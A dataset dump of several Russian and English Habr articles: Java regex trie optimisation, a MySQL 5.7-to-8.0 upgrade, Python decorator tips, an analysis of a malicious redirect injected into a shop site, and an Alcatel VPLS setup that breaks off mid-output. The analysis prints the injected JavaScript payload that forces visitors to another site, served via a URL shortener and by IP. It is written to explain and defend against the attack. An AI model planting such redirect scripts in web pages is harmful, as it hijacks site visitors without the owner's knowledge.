text
stringlengths 20
1.01M
| url
stringlengths 14
1.25k
| dump
stringlengths 9
15
⌀ | lang
stringclasses 4
values | source
stringclasses 4
values |
|---|---|---|---|---|
# Префиксная оптимизация регулярных выражений на Java
Я хочу рассказать о простом способе оптимизации регулярных выражений, а точнее словарей. Я видел некоторые проекты, которые [оптимизируют конечные автоматы](http://www.brics.dk/automaton), [пакеты которые делают быструю разметку словаря в тексте](http://alias-i.com/lingpipe/docs/api/com/aliasi/dict/ExactDictionaryChunker.html), но так чтобы просто взять словарь и собрать регулярное выражение, которое можно было бы передать любому движку регулярных выражений — такого пока не видел.
Итак проблема, есть огромный словарь городов и надо найти в тексте все эти фразы. Наивный подход заключается в склеивании по or этих слов, таким образом получается такое выражение (city1|city2|city3|...cityN). При обработке такого выражения обычный NDA движок (к которым относится большинство, в том числе JDK) будет делать по крайней мере N проверок на каждый символ в тексте, в худшем же случае(когда текущее слово отличается на последней букве от всех слов в словаре) количество проверок будет равно количеству букв в словаре.
Это плохо, но можно сделать лучше.
Типичное свойство языка это избыточность. В данном случае это повторяемость последовательности букв. Здесь я расскажу о самом простом способе оптимизации — префиксной оптимизации.
Если слова начинаются с одинаковых префиксов, то вычисления будут выполнятся один раз для любого префикса. Итак мы строим Trie по нашему словарю, а затем конвертируем его в строку регулярного выражения.
**Класс описывающий дерево**
```
class Node {
char ch = START;
List nodes = Lists.newArrayList();
void add(String str) {
if (str.length() == 0) return;
char chNew = str.charAt(0);
for (Node n : nodes) {
if (n.ch == chNew) {
n.add(str.substring(1));
return;
}
}
Node newNode = new Node();
newNode.ch = chNew;
newNode.add(str.substring(1));
nodes.add(newNode);
}
String toRegexp() {...}
}
```
Как мы видим его основной метод add проверяет есть ли первый символ среди его детей, если нет, то создает и отдает тому поддереву, которое начинается с этого символа.
Таким образом в данной структуре любой префикс хранится только один раз(путь по дереву) и переиспользуется когда встречается в наших строках.
Второй метод конвертирует дерево в регулярное выражение.
```
String toRegexp() {
StringBuilder str = new StringBuilder();
if (ch == START) {
} else if (ch == END) {
} else {
//convert special characters like {}[].
String newStr = escapeRegexp(String.valueOf(ch));
str.append(newStr);
}
if (nodes.size() > 1) {
str.append("(?:");
for (Node n : nodes) {
str.append("");
str.append(n.toRegexp());
str.append("|");
}
str.setLength(str.length() - 1);
str.append(')');
} else if (nodes.size() == 1) {
str.append(nodes.get(0).toRegexp());
}
return str.toString();
}
}
```
**Вот рабочий код**
```
public static String convertListToRegexp(final boolean useNonCapturingGroups, String... strs) {
Arrays.sort(strs,
new Comparator() {
public int compare(String o1, String o2) {
int res = o2.length() - o1.length();
if (res != 0) {
return res;
}
return o1.compareTo(o2);
}
});
Node root = new Node();
for (String str : strs) {
root.add(str + "$");
}
return root.toRegexp();
}
```
**и пример**
```
//create array of your entries
String[] examples = new String[]{"javvva", "javggaaa", "javajava", "adsasd", "adasddsa"};
//convert them to optimal regexp
String optimizedRegexp = RegExpUtils.convertListToRegexp(true, examples);
Assert.assertEquals("(?:ad(?:asddsa|sasd)|jav(?:ajava|ggaaa|vva))", optimizedRegexp);
//check that it is works
for(String s : examples) Assert.assertTrue(s.matches(optimizedRegexp));
```
|
https://habr.com/ru/post/117177/
| null |
ru
| null |
# Обновление MySQL (Percona Server) с 5.7 до 8.0
Прогресс не стоит на месте, поэтому причины обновиться на актуальные версии MySQL становятся всё более весомыми. Не так давно в одном из наших проектов настало время обновлять уютные кластеры Percona Server 5.7 до 8-й версии. Всё это происходило на платформе Ubuntu Linux 16.04. Как выполнить подобную операцию с минимальным простоем и с какими проблемами мы столкнулись при обновлении — читайте в этой статье.
Подготовка
----------
Любое обновление сервера баз данных скорее всего связано с перенастройкой базы: изменений требований к лимитам на системные ресурсы и исправлением конфигов базы, которые надо очистить от устаревших директив.
Перед обновлением мы обязательно обратимся к официальной документации:
* [MySQL 8 release notes](https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-0.html);
* [руководство по обновлению от MySQL](https://dev.mysql.com/doc/refman/8.0/en/upgrading.html);
* [руководство по обновлению от Percona](https://www.percona.com/doc/percona-server/LATEST/upgrading_guide.html);
* [руководство MySQL по обновлению реплик и мастеров](https://dev.mysql.com/doc/refman/8.0/en/replication-upgrade.html).
И составим план действий:
1. Исправить конфигурационные файлы, удалив устаревшие директивы.
2. Проверить совместимость утилитами.
3. Обновить slave-базы, поставив пакет `percona-server-server`.
4. Обновить мастер, поставив тот же пакет.
Разберём каждый пункт плана и посмотрим, что же может пойти не так.
**ВАЖНО!** Процедура обновления MySQL-кластера на базе Galera имеет свои тонкости, которые в статье не описаны. Не стоит использовать эту инструкцию в таком случае.
Часть 1: Проверка конфигов
--------------------------
В 8-й версии MySQL убрали `query_cache`. Вообще-то он был [признан устаревшим](https://dev.mysql.com/doc/refman/5.7/en/query-cache.html) еще в версии 5.7, но теперь и [удалён вовсе](https://dev.mysql.com/doc/refman/8.0/en/added-deprecated-removed.html). Соответственно, необходимо убрать связанные директивы. А для кэширования запросов теперь можно использовать внешние инструменты — например, [ProxySQL](https://www.percona.com/blog/2018/02/07/proxysql-query-cache/).
Так же в конфиге нашлись устаревшие директивы про `innodb_file_format`. Если в MySQL 5.7 имелась возможность выбора формата InnoDB, то 8-я версия уже работает [только с форматом Barracuda](https://dev.mysql.com/worklog/task/?id=7704).
Наш итог — удаление следующих директив:
* `query_cache_type`, `query_cache_limit` и `query_cache_size`;
* `innodb_file_format` и `innodb_file_format_max`.
Для проверки воспользуемся Docker-образом Percona Server. Конфиг сервера поместим в директорию `mysql_config_test`, а рядом создадим директории для данных и логов. Пример теста конфигурации percona-server:
```
mkdir -p {mysql_config_test,mysql_data,mysql_logs}
cp -r /etc/mysql/conf.d/* mysql_config_test/
docker run --name some-percona -v $(pwd)/mysql_config_test:/etc/my.cnf.d/ -v $(pwd)/mysql_data/:/var/lib/mysql/ -v $(pwd)/mysql_logs/:/var/log/mysql/ -e MYSQL_ROOT_PASSWORD=${MYSQL_PASSWORD} -d percona:8-centos
```
Итог: либо в логах Docker, либо в директории с логами — в зависимости от ваших конфигов — появится файл, в котором будут описаны проблемные директивы.
Вот что было у нас:
```
2020-04-03T12:44:19.670831Z 0 [Warning] [MY-011068] [Server] The syntax 'expire-logs-days' is deprecated and will be removed in a future release. Please use binlog_expire_logs_seconds instead.
2020-04-03T12:44:19.671678Z 0 [Warning] [MY-013242] [Server] --character-set-server: 'utf8' is currently an alias for the character set UTF8MB3, but will be an alias for UTF8MB4 in a future release. Please consider using UTF8MB4 in order to be unambiguous.
2020-04-03T12:44:19.671682Z 0 [Warning] [MY-013244] [Server] --collation-server: 'utf8_general_ci' is a collation of the deprecated character set UTF8MB3. Please consider using UTF8MB4 with an appropriate collation instead.
```
Таким образом, нам потребовалось еще разобраться с кодировками и заменить устаревшую директиву `expire-logs-days`.
Часть 2: Проверка работающих установок
--------------------------------------
В документации по обновлению есть 2 утилиты для проверки базы на совместимость. Их использование помогает администратору проверить совместимость имеющейся структуры данных.
Начнём с классической утилиты mysqlcheck. Достаточно просто запустить:
```
mysqlcheck -u root -p --all-databases --check-upgrade
```
Если проблемы не обнаружены, утилита завершится с кодом 0:
Кроме того, в современных версиях MySQL доступна утилита [mysql-shell](https://dev.mysql.com/doc/mysql-shell/8.0/en/) (в случае Percona это пакет `percona-mysql-shell`). Она является заменой классическому клиенту `mysql` и совмещает в себе функции клиента, редактора SQL-кода и инструменты администрирования MySQL. Для проверки сервера перед обновлением можно через неё выполнить следующую команду:
```
mysqlsh -- util check-for-server-upgrade { --user=root --host=1.1.1.1 --port=3306 } --config-path=/etc/mysql/my.cnf
```
И вот какие замечания мы получили:
В общем, ничего критичного — только предупреждения о кодировках *(см. ниже)*. Общий результат выполнения:
Мы решили, что обновление должно пойти без проблем.
Замечание о предупреждениях выше, свидетельствующих проблемы с кодировками. Дело в том, что UTF-8 в MySQL до недавнего времени [не являлась «настоящей» UTF-8](https://mathiasbynens.be/notes/mysql-utf8mb4), так как хранила всего 3 байта вместо 4. В MySQL 8 это наконец-то [решили исправить](https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-utf8mb3.html): алиас `utf8` вскоре будет вести на кодировку `utf8mb4`, а старые столбцы в таблицах станут `utf8mb3`. В дальнейшем кодировка `utf8mb3` будет удалена, но не в данном релизе. Поэтому мы решили исправить кодировки уже на работающей инсталляции СУБД, после её обновления.
Часть 3: Обновление серверов
----------------------------
Что же может пойти не так, когда есть столь шикарный план?.. Прекрасно понимая, что нюансы всегда случаются, первый эксперимент мы провели на dev-кластере MySQL.
Как уже упоминалось, [официальная документация](https://dev.mysql.com/doc/refman/8.0/en/replication-upgrade.html) освещает вопрос обновления MySQL-серверов с репликами. Суть сводится к тому, что сначала стоит обновлять все реплики (slave), так как MySQL 8 умеет реплицироваться с мастера версии 5.7. Некоторая сложность заключается в том, что у нас используется режим **master <-> master**, когда удалённый мастер находится в режиме **read-only**. То есть фактически боевой трафик поступает в один ЦОД, а 2-й является резервным.
Топология выглядит следующим образом:
Обновление должно начаться с реплик *mysql replica dc 2*, *mysql master dc 2* и *mysql replica dc 1*, а закончиться — сервером *mysql master dc 1*. Для пущей надёжности мы остановили виртуальные машины, сделали их снапшоты, а непосредственно перед обновлением остановили репликацию командой `STOP SLAVE`. В остальном же обновление выглядит так:
1. Каждую реплику перезапускаем, добавив в конфиги 3 опции: `skip-networking`, `skip-slave-start`, `skip-log-bin`. Дело в том, что обновление базы генерирует бинарные логи с обновлением системных таблиц. Данные директивы гарантируют, что в базе не будет изменения данных приложения, а в бинарные логи не попадет информация об обновлении системных таблиц. Это позволит избежать проблем при возобновлении репликации.
2. Устанавливаем пакет `percona-server-server`. Важно отметить, что в версии MySQL 8 **не** требуется запускать команду `mysqlupgrade` после обновления сервера.
3. После успешного старта еще раз перезапускаем сервер — уже без параметров, которые добавлялись в первом пункте.
4. Убеждаемся, что репликация успешно работает: проверяем `SHOW SLAVE STATUS` и смотрим, что обновляются таблицы со счетчиками в базе приложения.
Всё это выглядит достаточно просто: обновление dev прошло успешно. Ок, можно спокойно планировать ночное обновление для production.
Не было печали — prod мы обновляли
----------------------------------
Однако перенос успешного опыта dev на production не обошёлся без сюрпризов.
К счастью, сам процесс обновления начинается с реплик, поэтому, встретив сложности, мы остановили работы и восстановили реплику из снапшота. Исследование проблем перенесли на следующее утро. В логах оказались следующее записи:
```
2020-01-14T21:43:21.500563Z 2 [ERROR] [MY-012069] [InnoDB] table: t1 has 19 columns but InnoDB dictionary has 20 columns
2020-01-14T21:43:21.500722Z 2 [ERROR] [MY-010767] [Server] Error in fixing SE data for db1.t1
2020-01-14T21:43:24.208365Z 0 [ERROR] [MY-010022] [Server] Failed to Populate DD tables.
2020-01-14T21:43:24.208658Z 0 [ERROR] [MY-010119] [Server] Aborting
```
Исследование архивов различных почтовых рассылок в Google привело к пониманию, что такая проблема возникает из-за [бага MySQL](https://bugs.mysql.com/bug.php?id=87229). Хотя скорее это даже баг утилит `mysqlcheck` и `mysqlsh`.
Оказывается, в MySQL сменили способ представления данных для десятичных полей (int, tinyint и т.п.), поэтому внутри mysql-server используется другой способ их хранения. Если ваша база данных **изначально** была в версии 5.5 или 5.1, а затем вы обновлялись до 5.7, то, возможно, требуется произвести `OPTIMIZE` для некоторых таблиц. Тогда MySQL обновит файлы с данными, переведя их на актуальный формат хранения.
Также это можно проверить утилитой `mysqlfrm`:
```
mysqlfrm --diagnostic -vv /var/lib/mysql/db/table.frm
...
'field_length': 8,
'field_type': 246, # формат поля
'field_type_name': 'decimal',
'flags': 3,
'flags_extra': 67,
'interval_nr': 0,
'name': 'you_decimal_column',
...
```
Если `field_type` у вас равен 0, то в таблице используется старый тип — надо проводить `OPTIMIZE`. Однако, если стоит значение 246 — у вас уже новый тип. Подробнее с типами можно ознакомиться в [коде](https://github.com/mysql/mysql-server/blob/5.7/include/mysql.h.pp#L6).
Более того, в [данном баге](https://bugs.mysql.com/bug.php?id=87229) рассматривается вторая возможная причина, которая обошла нас стороной, — это отсутствие InnoDB-таблиц в системной таблице `INNODB_SYS_TABLESPACES`, если они, таблицы, создавались в версии 5.1. Чтобы избежать проблем при обновлении, можно воспользоваться [приложенным SQL-скриптом](https://bugs.mysql.com/file.php?id=25767&bug_id=87229).
Почему же у нас не возникло таких проблем на dev? База туда периодически копируется с production — таким образом, **таблицы пересоздаются**.
К сожалению, на реально работающей большой БД не получится просто взять и выполнить повсеместный `OPTIMIZE`. Здесь поможет percona-toolkit: для операции online OPTIMIZE отлично подходит утилита pt-online-schema-change.
Обновленный план стал получился таким:
1. Провести оптимизацию всех таблиц.
2. Провести обновление баз данных.
Чтобы проверить его и заодно выяснить время обновления, мы отключили одну из реплик, а для всех таблиц запустили следующую команду:
```
pt-online-schema-change --critical-load Threads_running=150 --alter "ENGINE=InnoDB" --execute --chunk-size 100 --quiet --alter-foreign-keys-method auto h=127.0.0.1,u=root,p=${MYSQL_PASSWORD},D=db1,t=t1
```
Обновление таблиц производится без продолжительных блокировок благодаря тому, что утилита создает новую временную таблицу, в которую копирует данные из основной таблицы. В момент, когда обе таблицы идентичны, исходная таблица блокируется и подменяется новой. В нашем случае тестовый запуск показал, что для обновления всех таблиц потребуется около суток, но при этом копирование данных вызывало слишком большую нагрузку на диски.
Чтобы этого избежать, на production мы добавили к команде аргумент `--sleep` со значением 10 — этот параметр регулирует длину ожидания после переноса пачки данных в новую таблицу. Так можно снизить нагрузку, если реально запущенное приложение требовательно к времени ответа.
После выполнения оптимизации обновление прошло успешно.
### … но не до конца!
Уже через полчаса после обновления клиент пришел с проблемой. База работала очень странно: периодически начинались **сбросы подключений**. Вот как это выглядело в мониторинге:
На скриншоте виден пилообразный график, связанный с тем, что часть потоков MySQL-сервера периодически падали с ошибкой. В приложении появились ошибки:
```
[PDOException] SQLSTATE[HY000] [2002] Connection refused
```
Беглый осмотр логов выявил, что демон mysqld не мог получить требуемые ресурсы у операционной системы. Разбираясь с ошибками, мы обнаружили в системе **«бесхозные» файлы политик apparmor**:
```
# dpkg -S /etc/apparmor.d/cache/usr.sbin.mysqld
dpkg-query: no path found matching pattern /etc/apparmor.d/cache/usr.sbin.mysqld
# dpkg -S /etc/apparmor.d/local/usr.sbin.mysqld
dpkg-query: no path found matching pattern /etc/apparmor.d/local/usr.sbin.mysqld
# dpkg -S /etc/apparmor.d/usr.sbin.mysqld
mysql-server-5.7: /etc/apparmor.d/usr.sbin.mysqld
# dpkg -l mysql-server-5.7
rc mysql-server-5.7 5.7.23-0ubuntu0.16.04.1 amd64
```
Эти файлы образовались при обновлении на MySQL 5.7 пару лет назад и принадлежат удалённому пакету. Удаление файлов и перезапуск службы apparmor решил проблему:
```
systemctl stop apparmor
rm /etc/apparmor.d/cache/usr.sbin.mysqld
rm /etc/apparmor.d/local/usr.sbin.mysqld
rm /etc/apparmor.d/usr.sbin.mysqld
systemctl start apparmor
```
В заключение
------------
Любая, даже самая простая операция, может привести к неожиданным проблемам. И даже наличие продуманного плана не всегда гарантирует ожидаемый результат. Теперь в любые планы обновления у нашей команды входит еще и обязательная чистка лишних файлов, которые могли появиться в результате последих действий.
А этим не очень профессиональным графическим творчеством я бы хотел сказать огромное спасибо компании Percona за их отличные продукты!
P.S.
----
Читайте также в нашем блоге:
* «[Базы данных и Kubernetes (обзор и видео доклада)](https://habr.com/ru/company/flant/blog/431500/)»;
* «[Kubernetes tips & tricks: ускоряем bootstrap больших баз данных](https://habr.com/ru/company/flant/blog/417509/)»;
* «[6 практических историй из наших SRE-будней](https://habr.com/ru/company/flant/blog/471892/)»;
* «[Одна история с оператором Redis в K8s и мини-обзор утилит для анализа данных этой БД](https://habr.com/ru/company/flant/blog/480722/)»;
* «[Беспростойная миграция MongoDB в Kubernetes](https://habr.com/ru/company/flant/blog/461149/)».
|
https://habr.com/ru/post/500706/
| null |
ru
| null |
# Tips and tricks from my Telegram-channel @pythonetc, May 2019
It is a new selection of tips and tricks about Python and programming from my Telegram-channel @pythonetc.
← [Previous publications](https://habr.com/ru/search/?q=%5Bpythonetc%20eng%5D&target_type=posts)
`break` statement suppresses exception if used in the `finally` clause even when the `except` block is not presented:
```
for i in range(10):
try:
1 / i
finally:
print('finally')
break
print('after try')
print('after while')
```
Output:
```
finally
after while
```
The same is true for `continue`, however it can’t be used in `finally` until Python 3.8:
```
SyntaxError: 'continue' not supported inside 'finally' clause
```
You can add Unicode characters in a string literal not only by its number, but by also by its name.
```
>>> '\N{EM DASH}'
'—'
>>> '\u2014'
'—'
```
It’s also compatible with f-strings:
```
>>> width = 800
>>> f'Width \N{EM DASH} {width}'
'Width — 800'
```
There are six magic methods for Python objects that define comparison rules:
* `__lt__` for `<`
* `__gt__` for `>`
* `__le__` for `<=`
* `__ge__` for `>=`
* `__eq__` for `==`
* `__ne__` for `!=`
If some of these methods are not defined or return `NotImplemented`, the following rules applied:
* `a.__lt__(b)` is the same as `b.__gt__(a)`
* `a.__le__(b)` is the same as `b.__ge__(a)`
* `a.__eq__(b)` is the same as `not a.__ne__(b)` (mind that `a` and `b` are not swapped in this case)
However, `a >= b` and `a != b` don’t automatically imply `a > b`. The `functools.total_ordering` decorator create all six methods based on `__eq__` and one of the following: `__lt__`, `__gt__`, `__le__`, or `__ge__`.
```
from functools import total_ordering
@total_ordering
class User:
def __init__(self, pk, name):
self.pk = pk
self.name = name
def __le__(self, other):
return self.pk <= other.pk
def __eq__(self, other):
return self.pk == other.pk
assert User(2, 'Vadim') < User(13, 'Catherine')
```
Sometimes you want to use both decorated and undecorated versions of a function. The easiest way to achieve that is to forgo the special decorator syntax (the one with `@`) and create the decorated function manually:
```
import json
def ensure_list(f):
def decorated(*args, **kwargs):
result = f(*args, **kwargs)
if isinstance(result, list):
return result
else:
return [result]
return decorated
def load_data_orig(string):
return json.loads(string)
load_data = ensure_list(load_data_orig)
print(load_data('3')) # [3]
print(load_data_orig('4')) 4
```
Alternatively, you can write another decorator, that decorate a function while preserving its original version in the `orig` attribute of the new one:
```
import json
def saving_orig(another_decorator):
def decorator(f):
decorated = another_decorator(f)
decorated.orig = f
return decorated
return decorator
def ensure_list(f):
...
@saving_orig(ensure_list)
def load_data(string):
return json.loads(string)
print(load_data('3')) # [3]
print(load_data.orig('4')) # 4
```
If all decorators you are working with are created via `functools.wraps` you can use the `__wrapped__` attribute to access the undecorated function:
```
import json
from functools import wraps
def ensure_list(f):
@wraps(f)
def decorated(*args, **kwargs):
result = f(*args, **kwargs)
if isinstance(result, list):
return result
else:
return [result]
return decorated
@ensure_list
def load_data(string):
return json.loads(string)
print(load_data('3')) # [3]
print(load_data.__wrapped__('4')) # 4
```
Mind, however, that it doesn’t work for functions that are decorated by more than one decorator: you have to access `__wrapped__` for each decorator applied:
```
def ensure_list(f):
...
def ensure_ints(f):
@wraps(f)
def decorated(*args, **kwargs):
result = f(*args, **kwargs)
return [int(x) for x in result]
return decorated
@ensure_ints
@ensure_list
def load_data(string):
return json.loads(string)
for f in (
load_data,
load_data.__wrapped__,
load_data.__wrapped__.__wrapped__,
):
print(repr(f('"4"')))
```
Output:
```
[4]
['4']
'4'
```
The `@saving_orig` mentioned above accepts another decorator as an argument. What if that decorator can be parametrized? Well, since parameterized decorator is a function that returns an actual decorator, this case is handled automatically:
```
import json
from functools import wraps
def saving_orig(another_decorator):
def decorator(f):
decorated = another_decorator(f)
decorated.orig = f
return decorated
return decorator
def ensure_ints(*, default=None):
def decorator(f):
@wraps(f)
def decorated(*args, **kwargs):
result = f(*args, **kwargs)
ints = []
for x in result:
try:
x_int = int(x)
except ValueError:
if default is None:
raise
else:
x_int = default
ints.append(x_int)
return ints
return decorated
return decorator
@saving_orig(ensure_ints(default=0))
def load_data(string):
return json.loads(string)
print(repr(load_data('["2", "3", "A"]')))
print(repr(load_data.orig('["2", "3", "A"]')))
```
The `@saving_orig` decorator doesn’t really do what we want if there are more than one decorator applied to a function. We have to call `orig` for each such decorator:
```
import json
from functools import wraps
def saving_orig(another_decorator):
def decorator(f):
decorated = another_decorator(f)
decorated.orig = f
return decorated
return decorator
def ensure_list(f):
...
def ensure_ints(*, default=None):
...
@saving_orig(ensure_ints(default=42))
@saving_orig(ensure_list)
def load_data(string):
return json.loads(string)
for f in (
load_data,
load_data.orig,
load_data.orig.orig,
):
print(repr(f('"X"')))
```
Output:
```
[42]
['X']
'X'
```
We can fix it by supporting arbitrary number of decorators as `saving_orig` arguments:
```
def saving_orig(*decorators):
def decorator(f):
decorated = f
for d in reversed(decorators):
decorated = d(decorated)
decorated.orig = f
return decorated
return decorator
...
@saving_orig(
ensure_ints(default=42),
ensure_list,
)
def load_data(string):
return json.loads(string)
for f in (
load_data,
load_data.orig,
):
print(repr(f('"X"')))
```
Output:
```
[42]
'X'
```
Another solution is to make `saving_orig` smart enough to pass `orig` from one decorated function to another:
```
def saving_orig(another_decorator):
def decorator(f):
decorated = another_decorator(f)
if hasattr(f, 'orig'):
decorated.orig = f.orig
else:
decorated.orig = f
return decorated
return decorator
@saving_orig(ensure_ints(default=42))
@saving_orig(ensure_list)
def load_data(string):
return json.loads(string)
```
If a decorator you are writing becomes too complicated, it may be reasonable to transform it from a function to a class with the `__call__` method
```
class SavingOrig:
def __init__(self, another_decorator):
self._another = another_decorator
def __call__(self, f):
decorated = self._another(f)
if hasattr(f, 'orig'):
decorated.orig = f.orig
else:
decorated.orig = f
return decorated
saving_orig = SavingOrig
```
The last line allows you both to name class with camel case and keep the decorator name in snake case.
Instead of modifying the decorated function you can create another callable class to return its instances instead of a function:
```
class CallableWithOrig:
def __init__(self, to_call, orig):
self._to_call = to_call
self._orig = orig
def __call__(self, *args, **kwargs):
return self._to_call(*args, **kwargs)
@property
def orig(self):
if isinstance(self._orig, type(self)):
return self._orig.orig
else:
return self._orig
class SavingOrig:
def __init__(self, another_decorator):
self._another = another_decorator
def __call__(self, f):
return CallableWithOrig(self._another(f), f)
saving_orig = SavingOrig
```
View the whole code [here](https://repl.it/@VadimPushtaev/orig6)
|
https://habr.com/ru/post/454648/
| null |
en
| null |
# Ещё один тип XSS-атаки на сайт
Привет, Хабр! Вчера вечером жена пожаловалась, что не может зайти на сайт детской одежды, потому что с него перебрасывает на совершенно посторонний ресурс. Проверяю сам — действительно, во время загрузки главной страницы (или любой другой, если успеть перейти по ссылке с загружающейся страницы) внезапно перебрасывает на другой домен.
На улице сентябрь и холодает, поэтому решил не отступать перед проблемой и выбрать-таки ребёнку демисезонный костюм, попутно разобравшись в чём же дело!
Первое и очевидное, что приходит в голову — поискать явный редирект на странице. Открываю исходный код страницы в попытке найти что-нибудь такое:
```
```
Безрезультатно, к тому же это было бы слишком просто. Раз нет стандартного редиректа, следовательно он реализован средствами JS. Проверяем гипотезу отключением JS в браузере — страница загрузилась, никуда не перекидывает. При этом window.location на странице нигде не используется, подменяющего URL тоже нет. Глянем, какие ресурсы закачивает браузер:
Сразу бросается в глаза подозрительный URL, по запросу к которому возвращается HTTP код 301: [is.gd/J87Pzs](http://is.gd/J87Pzs)
По этому URL быстро находим строчку в исходниках страницы:
Отмечу, что эта строчка присутствует на всех страницах, где смотрел.
Хм, необходимо разобраться, что же такое происходит по этой ссылке: [is.gd/J87Pzs](http://is.gd/J87Pzs).
is.gd — это типичный «ссылкоукорачиватель». За данным URL стоит следующий: [home-income-business.com/sfi/i/qwe](http://home-income-business.com/sfi/i/qwe)
GET-запрос на него возвращает такой контент:
```
function process(){ window.location = "http://подозрительный-сайт-точка-ру/"; } window.onerror = process; process()
```
Дело уже можно было бы закрывать, как в этот момент я переключаюсь на другую точку доступа к Интернет, а проблема (внезапно) исчезает: HTTP-запрос по последнему URL в цепочке начинает возвращать пустой контент! Что за?! Переключаемся опять на другую точку доступа — зловредный код снова отдаётся. А это уже интереснее! Выходит, **в зависимости от ip-адреса отдаётся разное содержимое**. Как такое может быть? Например, в nginx есть специальный модуль [geo](http://nginx.org/en/docs/http/ngx_http_geo_module.html), с использованием которого можно настроить подобное поведение. Содержимое HTTP-ответа косвенно подтверждает вышесказанное:
Зачем делать атаку с редиректом на другой сайт? Причин может быть множество, в том числе меркантильных, например, для осуществления нечестной конкуренции или привлечения трафика на сайт.
**При этом владелец сайта-жертвы может даже не догадываться, что находится под атакой**, поскольку с его ip-адресов сайт будет прекрасно открываться и работать, а с других… Пользователи, зайдя на такой сайт, вероятно просто уйдут и не будут заморачиваться.
Я заморочился. И написал на e-mail, указанный в контактах. А уже на следующий день, то есть сегодня, со мной связался администратор сайта, которому я подробно изложил проблему. И, пока я писал этот пост и готовил картинки, проблему уже исправили, удалив зловредный скрипт со страниц сайта!
Вероятно, вам интересно узнать, как же зловредный код оказался на страницах сайта: администратор высказал предположение, что это его предшественник оставил «подарок».
##### Выводы:
* Самый эффективный способ предупреждения внедрения таких скриптов — не использовать подгружаемые со сторонних сайтов ресурсы;
* Для исключения их выполнения также можно применять [Content Security Policy](https://www.w3.org/TR/CSP/), используя HTTP-заголовок *Content-Security-Policy* (*X-WebKit-CSP* для старых версий Chrome и *X-Content-Security-Policy* для старых версий Firefox и IE 10-11), который в силу своей относительной молодости и статуса Candidate Recomendation [не поддерживается](http://caniuse.com/#feat=contentsecuritypolicy) в старых браузерах;
* И по возможности отправлять баг-репорты, так мы сможем сделать Интернет чище.
**P.S.** Посчитал неуместным указывать подвергшийся атаке сайт.
|
https://habr.com/ru/post/310482/
| null |
ru
| null |
# Сервисный маршрутизатор Alcatel Lucent в качестве шлюза для домена доступа
Для многих первое знакомство с сервисными маршрутизаторами Alcatel Lucent (ныне Nokia) становится не очень приятным в связи с особым взгядом вендора на модель предоставления сервиса. В отличие от оборудования Cisco, не всегда очевидно, как заставить работать такое устройство в простом сценарии: маршрутизатор для нескольких коммутаторов доступа (обычно такие коммутаторы соединяются в кольцо). Тем, кто разочаровался, не обнаружив команду spanning-tree в режиме конфигурации, посвящается.
Представьте себе простую топологию:
Два коммутатора доступа, соединенных в кольцо с маршрутизатором, устройство с TimOS на борту (в этом случае — эмулятор SR7750) и внешний DHCP сервер, обслуживающий несколько IP сетей. В такой ситуации у 7750 возникает несколько альтер эго:
1) Default gateway. PC1 и PC2 вполне закономерно хотят общаться с внешними сетями, поэтому необходимо предоставить для них IP адрес, куда можно отсылать все неугодные пакеты.
2) DHCP realy. Поскльку сообщение discover отсылается броадкастом, его необходимо отправить на внешний сервер юникаст сообщением.
3) RSTP root bridge. Вряд ли рационально давать возможность коммутатору доступа становиться рутом.
Сразу оговорюсь, что SR7750 — маршрутизатор. Он не предназначен для коммутации трафика между двумя интерфейсами, не поддерживает SVI в классическом виде со всеми вытекающими. Для использования устройства в такой топологии необходимо создать импровизированный и очень простенький VPLS (хотя, конечно, в случае двух интерфейсов подошел бы и псевдопровод). Для конфигурации VPLS в нашем случае совершенно не обязательно понимать принципы работы MPLS.
Итак, приступим.
**Не забудьте сконфигурировать карточку в эмуляторе.**
```
card 1
card-type iom3-xp-b
mda 1
mda-type m5-1gb-sfp-b
no shutdown
exit
no shutdown
```
Если вы не используете эмулятор, типы карточек и модулей можно определить нехитрыми командами:
```
show card
show mda
```
0. Нашим предварительным шагом будет конфигурация пользователя. VPLS с точки зрения SR — это сервис, а любой сервис должен принадлежать пользователю.
```
customer 5 create
description "Access ring 1"
exit
```
1. Сконфигурируем интерфейсы 1/1/1 и 1/1/2.
```
port 1/1/1
ethernet
mode access
encap-type dot1q
exit
no shutdown
exit
port 1/1/2
ethernet
mode access
encap-type dot1q
exit
no shutdown
exit
```
После этого командой `show port` можно убедиться, что настройки корректны. Обратите внимание, что MTU стал 1518 = 1500 для IP + 14 Ethernet + 4 dot1q vlan. Вполне закономерно, что при конфигурации QinQ устройство само определит размер кадра в 1522.
**Спойлер**`===============================================================================
Ports on Slot 1
===============================================================================
Port Admin Link Port Cfg Oper LAG/ Port Port Port C/QS/S/XFP/
Id State State MTU MTU Bndl Mode Encp Type MDIMDX
-------------------------------------------------------------------------------
1/1/1 Up Yes Up 1518 1518 - accs dotq xcme GIGE-LX 10KM
1/1/2 Up Yes Up 1518 1518 - accs dotq xcme GIGE-LX 10KM`
2. Сконфигурируем сервис VPLS.
```
service
vpls 5 customer 5 create
allow-ip-int-binding
stp
priority 4096
no shutdown
exit
service-name "Access-ring-1"
sap 1/1/1:5 create
exit
sap 1/1/2:5 create
exit
no shutdown
exit
exit
```
**SAP** (Service access point) — это attachment circuit в чуть более известной терминологии. Точка, к которой подключается абонентское устройство. В нашем случае — коммутатор доступа. Число после двоеточия — номер влана.
Именно здесь мы включаем STP. По умолчанию режим работы — RSTP, а наши SAP будут point-to-point интерфейсами с точки зрения STP. Priority 4096 задаем с умыслом превратить наш псевдокоммутатор в root bridge.
`allow-ip-int-binding` необходим для того, чтобы разрешить привязывать IP интерфейс (читай SVI) к нашему VPLS. Этот интерфейс будет привязываться с использованием имени нашего сервиса.
Базовую проверку можно провести с помощью `show service id 5 base`
**Спойлер**`===============================================================================
Service Basic Information
===============================================================================
Service Id : 5 Vpn Id : 0
Service Type : VPLS
Name : Access-ring-1
Description : (Not Specified)
Customer Id : 5 Creation Origin : manual
Last Status Change: 12/06/2016 21:37:01
Last Mgmt Change : 12/06/2016 21:37:01
Etree Mode : Disabled
Admin State : Up Oper State : Up
MTU : 1514 Def. Mesh VC Id : 5
SAP Count : 2 SDP Bind Count : 0
Snd Flush on Fail : Disabled Host Conn Verify : Disabled
Propagate MacFlush: Disabled Per Svc Hashing : Disabled
Allow IP Intf Bind: Enabled
Def. Gateway IP : None
Def. Gateway MAC : None
Temp Flood Time : Disabled Temp Flood : Inactive
Temp Flood Chg Cnt: 0
VSD Domain : none
-------------------------------------------------------------------------------
Service Access & Destination Points
-------------------------------------------------------------------------------
Identifier Type AdmMTU OprMTU Adm Opr
